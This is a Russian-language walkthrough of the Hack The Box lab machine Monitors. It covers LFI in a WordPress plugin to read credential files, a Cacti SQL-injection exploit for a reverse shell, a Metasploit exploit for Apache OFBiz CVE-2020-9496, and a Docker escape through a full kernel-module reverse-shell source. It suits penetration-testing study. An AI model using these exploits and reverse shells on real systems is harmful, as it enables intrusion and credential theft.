В сегодняшней статье я покажу прохождение Hack The Box Monitors. Уровень сложности HTB Monitors — Hard (тяжелый). Мы будем сканировать сайт на движке WordPress, получать RCE в CMS Cacti, эксплатировать уязвимость в Apache OFBiz и сбегать из Docker с привилегиями.
Еще по теме: Прохождение Hack The Box Laboratory
Сканируем порты
Добавляем IP-адрес машины в /etc/hosts:
1 |
10.10.10.238 monitors.htb |
И запускаем сканирование портов. Для сканирования портов лучше всего подходит Nmap. Можно улучшить результаты сканирования с помощью этого скрипта:
1 2 3 |
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1 |
Находим два открытых порта: 22 (служба SSH) и 80 (веб‑сервер Apache 2.4.29). На сервере находим сайт WordPress 5.5.1, с его анализа мы и начнем.
Точка входа
Сканируем WordPress
Тестировать сайты на движке WordPress лучше всего инструментом WPScan. Перед сканированием лучше зарегистрироваться на официальном сайте WPScan для получения токена API. Тогда WPScan будет автоматом сканировать страницы на уязвимости. А в конце предоставит отчет или готовый эксплоит!
Как правило уязвимы плагины, поэтому я запустил их перебор (директива -e ap) в агрессивном режиме (директива --plugins-detection aggressive), используя 128 потоков (директива -t):
1 |
wpscan --url http://monitors.htb -e ap --plugins-detection aggressive -t 128 --api-token [token] |
Через несколько минут, мы видим отчет, в котором напротив найденного в агрессивном режиме плагина стоит пометка « 1 vulnerability identified». Это говорит о том, что на сайте установлен уязвимый плагин Spritz 1.0. Заодно нам дали ссылку на базу уязвимостей Exploit-DB, где есть полное описание уязвимости.
Но если у вас специализированный секюрити дистрибутив типа Kali Linux, то база ExploitDB там уже имеется. Использовать ее можно инструментом searchsploit.
1 2 |
searchsploit 44544 searchsploit -p php/webapps/44544.php |
Из описания эксплоита мы видим, что плагин уязвим к LFI — локальному включению файлов.
Уязвимость LFI
В описании уязвимости находим и инструкцию по эксплуатации. Давайте проверим уязвимость, прочитав файл /etc/passwd.
1 |
curl http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd |
Так как на хосте развернут веб‑сервер, а на нем работает целая CMS, то первое наше действие — это попробовать получить учетные данные пользователей. Высока вероятность, что эти учетные данные подойдут и при логине в систему.
В случае с WordPress искать следует в файле с настройками для подключения к базе данных wp-config.php.
1 |
curl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//var/www/wordpress/wp-config.php" |
Я сразу попробовал этот пароль для авторизации в WordPress в качестве админа, но это не принесло никаких результатов. Так как мы можем читать файлы с хоста, поищем этим способом другую точку входа. У меня есть два списка (для Windows и Linux) файлов, который стоит проверять.
Фаззить будем с помощью Burp Intruder.
Мы натыкаемся на файл конфигурации Apache /etc/apache2/sites-enable/000-default.conf, где находим пользователя admin@monitors.htb.
Виртуальный хост cacti-admin.monitors.htb сразу добавляем в /etc/hosts, а потом смотрим. Нас встречает форма авторизации.
1 |
10.10.10.238 cacti-admin.monitors.htb |
Точка опоры
Авторизоваться получается как пользователь admin с паролем BestAdministrator@2020!, который служил для подключения к базе данных.
Нас встречает система управления контентом под названием Cacti, причем мы сразу видим ее версию — 1.2.12. А раз у нас снова готовый продукт, мы опять поищем готовые эксплоиты при помощи searchsploit.
1 2 |
searchsploit "Cacti 1.2.12" searchsploit -p php/webapps/49810.py |
Находим эксплоит именно для этой версии Cacti. Он эксплуатирует SQL-инъекцию. После первого запуска узнаем, что он должен дать нам реверс‑шелл. Нужно указать лишь адрес своего хоста и порт для обратного подключения.
Реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
В таких случаях пригодится rlwrap — readline-оболочка, которая в числе прочего позволяет пользоваться историей команд. Она обычно доступна в репозитории дистрибутива.
1 apt install rlwrapВ качестве самого листенера при этом можно использовать широко известный netcat.
1 rlwrap nc -lvp [port]
А теперь выполним эксплоит. Передаем адрес хоста и учетные данные, а также адрес локального хоста и порт для обратного подключения. После запуска сразу же получим бэкконнект.
1 |
python3 49810.py -t http://cacti-admin.monitors.htb -u admin -p 'BestAdministrator@2020!' --lhost 10.10.14.126 --lport 4321 |
Продвижение
Получение флага пользователя
Итак, мы получили шелл. Найти направления для повышения привилегий нам в очередной раз помогут скрипты PEASS.
Скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Чтобы воспользоваться скриптом, его нужно сначала загрузить на локальный хост.
1 wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
Так как на сервере отсутствуют программы curl и wget, мы не можем загрузить файл с локального веб‑сервера. Тогда будем использовать netcat. На сервере откроем листенер и установим лимит ожидания пять секунд, при этом весь вывод перенаправим в файл.
1 |
nc -lp 5432 -w 5 > /tmp/linpeas.sh |
На локальном хосте подключимся к листенеру и запишем туда наш скрипт.
1 |
cat linpeas.sh | nc 10.10.10.238 5432 |
На выходе получаем огромное количество информации. Изучим ее и отметим важные для нас вещи:
- Нам доступен runc.
- Есть запущенный Docker.
- Есть прослушиваемые только на локальном хосте порты.
- Нам доступны файлы из домашней директории пользователя.
- Есть интересный файл cacti-backup.service.
Начнем с последнего пункта и глянем файл /lib/systemd/system/cacti-backup.service.
Отсюда мы узнаем, что от имени пользователя www-data запускается скрипт /home/marcus/.backup/backup.sh.
В скрипте находим учетные данные. А найдя новый пароль, сразу же проверяем его везде. Так мы авторизуемся по SSH от имени пользователя marcus.
Погружение в Docker
Итак, мы выяснили, что на машине работает Docker, а также есть прослушиваемые для localhost порты. Для начала определим, за что отвечает порт 8443.
Выполним подключение к порту с помощью netcat. Когда нам не ответят, отправим запрос GET HTTP. На этот раз ответ есть.
1 2 |
nc 127.0.0.1 8443 GET / HTTP |
Кроме того, нам сообщают, что сервер работает по протоколу HTTPS. Давайте прокинем порт с помощью SSH и будем туннелировать трафик с локального порта 8443 на порт 8443 сервера (см. также «Способы туннелирования при пентесте»). После чего обратимся к удаленному сервису по адресу https://127.0.0.1:8443/ через браузер.
1 |
ssh -L 8443:127.0.0.1:8443 marcus@10.10.10.238 |
Нас встречает ошибка 404, но нас это не остановит. Попробуем просканировать файлы и директории. Возьмем список common.txt из набора крутых списков Seclists. А для перебора я использую тот же Burp Intruder.
Нашлось много страниц, которые отвечают редиректом. Перейдем на одну из них и получим форму авторизации Apache OFBiz.
Apache OFBiz — это фреймворк, который обеспечивает поддержку общей модели данных для большого набора бизнес‑процессов. Все приложения строятся вокруг единой архитектуры, использующей общие компоненты для данных, логики и процессов.
Так как мы нашли новую технологию, мы просто обязаны сразу же проверить наличие готовых эксплоитов.
Так мы находим уязвимость, имеющую идентификатор CVE-2020-9496. Идея в том, что пользователь, не прошедший проверку подлинности, может воспользоваться этой уязвимостью, отправив вредоносный HTTP-запрос, содержащий созданную полезную нагрузку XML в теле HTTP-запроса (OFBiz использует уязвимые версии библиотек Apache Commons BeanUtils и Apache ROME).
Эксплуатация этой уязвимости может привести к удаленному выполнению кода (RCE) в контексте пользователя, запускающего приложение. По идентификатору находим уже реализованный в Metasploit Framework эксплоит.
1 |
search CVE-2020-9496 |
Выбираем данный модуль в Metasploit Framework, затем заполняем значение параметров: адрес хоста и порт, а также тип нагрузки. В качестве нагрузки я выбрал стабильный Meterpreter для Linux x64.
1 2 3 4 5 6 7 8 9 |
msfconsole use exploit/linux/http/apache_ofbiz_deserialization set RHOSTS 127.0.0.1 set RPORT 8443 set payload linux/x64/meterpreter/reverse_tcp set LHOST tun0 set LPORT 6543 set forceexploit true run |
Таким образом мы проникаем в Docker и работаем в контексте пользователя root.
Локальное повышение привилегий
Итак, мы — рут, но в «Докере». Можно снова запускать скрипт типа LinPEAS, но в случае с докер‑контейнером советую использовать другой скрипт для разведки — Deepce. Он ищет пути повысить привилегии или сбежать из Docker и даже проверяет некоторые эксплоиты.
Загрузим его средствами Metasploit, получим шелл, дадим права на выполнение и запустим.
1 2 3 4 |
upload ~/tmp/deepce.sh /tmp shell chmod +x /tmp/deepce.sh /tmp/deepce.sh |
Видим подсвеченную привилегию SYS_MODULE. Иногда приложению в «Докере» может потребоваться выполнить привилегированную операцию для работы. Тогда Docker позволяет пользователю добавить в контейнер дополнительные привилегии (например, SYS_MODULE). В этом случае приложения, выполняемые обычным пользователем, смогут совершать привилегированные операции без предоставления им всех прав рута.
В данном случае привилегия SYS_MODULE позволяет контейнеру добавлять или удалять модули ядра хостовой системы. Это позволяет нам использовать следующий эксплоит (в реверс‑шелл вставляем адрес хостовой системы):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
#include <linux/kmod.h> #include <linux/module.h> MODULE_LICENSE(""); MODULE_AUTHOR(""); MODULE_DESCRIPTION(""); MODULE_VERSION(""); char* argv[] = { "/bin/bash", "-c", "bash -i >& /dev/tcp/172.17.0.1/8765 0>&1", NULL }; static char* envp[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL }; static int __init reverse_shell_init(void) { return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit(void) { printk(KERN_INFO "Exiting\n"); } module_init(reverse_shell_init); module_exit(reverse_shell_exit); |
Функция call_usermodehelper используется для создания процессов пользовательского режима из пространства ядра и принимает три аргумента: argv, envp и UMH_WAIT_EXEC. UMH_WAIT_EXEC заставляет модуль ядра ждать, пока загрузчик выполнит программу. Ниже привожу Makefile.
1 2 3 4 5 |
obj-m +=exploit.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean |
Закидываем и exploit.c, и Makefile в Docker, а затем собираем командой make.
Теперь в сессии SSH от имени пользователя markus запускаем листенер:
1 |
nc -lvp 8765 |
Теперь загружаем модуль ядра в докере и ловим бэкконнект.
1 |
insmod exploit.ko |
Поздравляю, мы только что захватили машину и имеем над ней полный контроль.
Еще по теме: Прохождение HackTheBox Active